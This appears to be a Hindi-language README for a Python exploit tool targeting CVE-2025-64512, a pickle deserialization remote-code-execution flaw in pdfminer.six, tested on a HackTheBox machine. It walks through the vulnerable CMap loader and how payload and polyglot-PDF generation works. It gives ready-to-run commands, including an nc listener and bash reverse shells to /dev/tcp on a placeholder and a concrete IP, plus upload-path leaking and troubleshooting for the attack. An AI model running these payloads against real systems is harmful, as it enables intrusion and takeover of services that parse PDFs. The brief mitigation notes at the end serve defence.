
CVE-2025-64512 के लिए Python PoC, जो pdfminer.six pickle deserialization RCE है। gzipped pickle payloads और polyglot PDFs उत्पन्न करता है, फिर उन्हें authorized testing के लिए upload portals पर पहुंचाता है।
| CVE | CVE-2025-64512 |
| प्रभावित | pdfminer.six < 20251107 (20251107 में ठीक किया गया — CMaps अब JSON बन गए) |
| डाउनस्ट्रीम शिकार | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| प्रकार | CWE-502 अविश्वसनीय डेटा का डीसेरियलाइज़ेशन → अनऑथेंटिकेटेड RCE |
| संदर्भ PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (सिंगल-फ़ाइल पॉलीग्लॉट वेरिएंट) |
परीक्षित लक्ष्य: https://app.hackthebox.com/machines/Bedside
pdfminer.six PDF से टेक्स्ट निकालने के लिए एक लोकप्रिय Python लाइब्रेरी है। PDF फ़ॉन्ट्स
को CMaps की ज़रूरत होती है — ऐसी टेबलें जो कैरेक्टर कोड को Unicode में बदलती हैं — और pdfminer
इन्हें अपने ही पैकेज के अंदर gzipped pickles (<name>.pickle.gz) के रूप में भेजता है।
देखें कि CMap कैसे लोड होता है (pdfminer/cmapdb.py, 20251107 से पहले के सभी वर्शन):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
तीन खामियाँ एक साथ जुड़ती हैं:
name PDF से ही आता है। Type0 (CID) फ़ॉन्ट की /Encoding एंट्री एक PDF name होती है,
और हमलावर इस पर पूरी तरह नियंत्रण रखता है। PDF नामों में कच्चा / नहीं हो सकता, इसलिए इसे
RFC-मानक हेक्स एस्केप के साथ लिखा जाता है: नाम
/#2f#76#61#72#2f… डिकोड होकर /var/… बनता है।os.path.join की विचित्रता। जब दूसरा आर्ग्युमेंट absolute होता है, तो पहला पूरी तरह
नज़रअंदाज़ हो जाता है। इसलिए /var/www/site/uploads/shell नाम pdfminer को अपनी
CMap डायरेक्टरी के बजाय /var/www/site/uploads/shell.pickle.gz — डिस्क पर कोई भी पाथ — देखने पर मजबूर करता है।pickle.loads()। एक pickle में "मुझे इस फ़ंक्शन को कॉल करके फिर से बनाओ"
निर्देश (__reduce__) हो सकते हैं। हमलावर के बाइट्स को डीसेरियलाइज़ करना = हमलावर के कोड को चलाना,
उसी प्रोसेस के अंदर जिसने pdfminer को कॉल किया।एक्सप्लॉइट की पूर्वापेक्षाएँ — यह बग किसी भी ऐप्लिकेशन पर आसानी से एक्सप्लॉइट किया जा सकता है जो आपको समीकरण के दोनों हिस्से देता है:
{"__reduce__": eval("__import__('os').system('<your command>')")}।/Encoding आपके pickle के absolute पाथ को नाम देती है।--mode two (डिफ़ॉल्ट) — <name>.pickle.gz अपलोड करती है, फिर <name>.pdf।
इसका उपयोग तब करें जब लक्ष्य केवल PDF एक्सटेंशन वाली फ़ाइलें पार्स करता हो
(जैसे uploads/*.pdf को glob करने वाला वॉचर)।--mode polyglot — एक फ़ाइल <name>.pickle.gz अपलोड करती है जो दोनों है
एक मान्य gzip-pickle और एक मान्य PDF: पूरी PDF gzip
हेडर के FCOMMENT फ़ील्ड में छिपी होती है (RFC 1952 कमेंट की अनुमति देता है; %PDF- सिग्नेचर
बाइट 10 पर बैठता है, और xref ऑफ़सेट पहले से शिफ्ट किए गए हैं ताकि टेबल मान्य रहे)।
इसका उपयोग तब करें जब लक्ष्य किसी भी अपलोड की गई फ़ाइल को एक्सटेंशन की परवाह किए बिना PDF के रूप में पार्स करता हो
(markitdown-शैली कन्वर्टर)।--verify), लक्ष्य के
प्रोसेसिंग चक्र का इंतज़ार करती है (--wait), और आपके कमांड चलने से पहले एक callback oracle (--callback)
जोड़ सकती है जो फ़ोन होम करता है — ताकि आप मुख्य चैनल विफल होने पर भी निष्पादन साबित कर सकें।कुछ भी इंस्टॉल करने की ज़रूरत नहीं — Python 3.10+ (uses str | None syntax):
chmod +x cve_2025_64512.py
नमूना पेलोड जनरेट करें और (यदि कोई कमज़ोर pdfminer importable हो) उन्हें अपने ही Python में निष्पादित करें ताकि लक्ष्य को छूने से पहले श्रृंखला काम करती है यह साबित हो:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
अपेक्षित आउटपुट दोनों — two-file ट्रिगर और
polyglot — के लिए SELFTEST PASS पर समाप्त होता है। आप मैन्युअल रूप से भी परीक्षण कर सकते हैं:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
पूर्ण आर्ग्युमेंट संदर्भ:
| Argument | Purpose |
|---|---|
--command | लक्ष्य पर निष्पादित करने के लिए शेल कमांड (आवश्यक)। यह sh -c के अंतर्गत चलता है, इसलिए pipes/redirects/subshells काम करते हैं। |
--url | वह अपलोड एंडपॉइंट जो multipart POSTs प्राप्त करता है। |
--upload-url | यदि अपलोड --url से भिन्न URL पर जाते हैं तो POST लक्ष्य को ओवरराइड करें। |
--field | Multipart फ़ील्ड नाम (पोर्टल के HTML <form> को पढ़ें; सामान्य: uploadFile, file)। |
--path | Absolute सर्वर-साइड डायरेक्टरी जहाँ अपलोड पहुँचते हैं (जैसे /var/www/site/uploads)। PDF यहाँ pickle को नाम देती है, इसलिए यह सटीक होना चाहिए। |
--leak-path | पाथ नहीं पता? विकृत सामग्री अपलोड करें और इसे पोर्टल के एरर मैसेज से स्क्रैप करें (कई पोर्टल गंतव्य प्रिंट करते हैं)। |
--name | जनरेट की गई फ़ाइलों के लिए बेसनेम (डिफ़ॉल्ट shell)। पुरानी फ़ाइलों से बचने के लिए दोबारा चलाने पर रैंडमाइज़ करें। |
--mode | two (डिफ़ॉल्ट) या polyglot — §2 देखें। |
--callback URL | आपके कमांड से पहले URL पर एक HTTP fetch जोड़ें; python3 -m http.server 8000 चलाएँ और हिट पर नज़र रखें। निष्पादन oracle। |
--wait N | अपलोड के बाद N सेकंड सोएँ — लक्ष्य की प्रोसेसिंग लय से मेल खाएँ (watchers/cron अक्सर हर 30 s में पोल करते हैं; विफलता मानने से पहले पूरा चक्र प्रतीक्षा करें)। |
--verify /uploads | बाद में प्रत्येक अपलोड की गई फ़ाइल को GET करें ताकि पुष्टि हो कि वह वहीं पहुँची जहाँ PDF अपेक्षा करती है। |
--timeout, --out-dir, --no-upload, --selftest | HTTP टाइमआउट, स्थानीय आउटपुट डायरेक्टरी, केवल-जनरेट मोड, स्थानीय अभ्यास। |
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # listener
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)
| Symptom | Cause / fix |
|---|---|
अपलोड पर MIME type mismatch | पोर्टल केवल एक्सटेंशन नहीं, सामग्री सूँघता है। दोनों पेलोड असली gzip / असली PDF हैं — जाँचें कि आपने उन्हें काटा नहीं; trigger को %PDF- से शुरू होना चाहिए, pickle को डीकंप्रेस होना चाहिए (gzip -t)। |
| अपलोड ठीक, कुछ निष्पादित नहीं होता | 1) पूरे watcher/cron चक्र की प्रतीक्षा करें (--wait 35)। 2) पुष्टि करें कि pickle <path>/<name>.pickle.gz पर पहुँचनीय है (--verify)। 3) जाँचें कि pdfminer चलाने वाली प्रोसेस आपकी फ़ाइल पढ़ सकती है। 4) निश्चित निष्पादन संकेत के लिए --callback का उपयोग करें। |
| अपलोड पाथ अज्ञात | --leak-path, या कोई भी validation एरर ट्रिगर करें और मैसेज पढ़ें। |
| Polyglot कभी ट्रिगर नहीं होता | पार्स की गई फ़ाइल वही फ़ाइल होनी चाहिए जो .pickle.gz पर समाप्त होती है। यदि लक्ष्य केवल *.pdf अपलोड पार्स करता है, तो --mode two का उपयोग करें। |
लक्ष्य लॉग में TypeError: type.__new__() argument 3 must be dict | यह सफलता है — pdfminer ने आपका pickle निष्पादित किया और फिर अपने ही रिटर्न वैल्यू पर अटक गया। हानिरहित। |
| लक्ष्य पैच किया गया | pdfminer ≥ 20251107 CMaps को JSON से लोड करता है। यहाँ एक्सप्लॉइट करने के लिए कुछ नहीं। |
pickle.loads, torch.load,
yaml.load सभी एक ही बग श्रेणी हैं। केवल-डेटा फ़ॉर्मेट (JSON, Safetensors, ONNX) को प्राथमिकता दें।X-Powered-By-शैली हेडर अक्षम करें और सामान्य एरर लौटाएँ — दोनों ने
Bedside पर सामग्री सूची लीक की।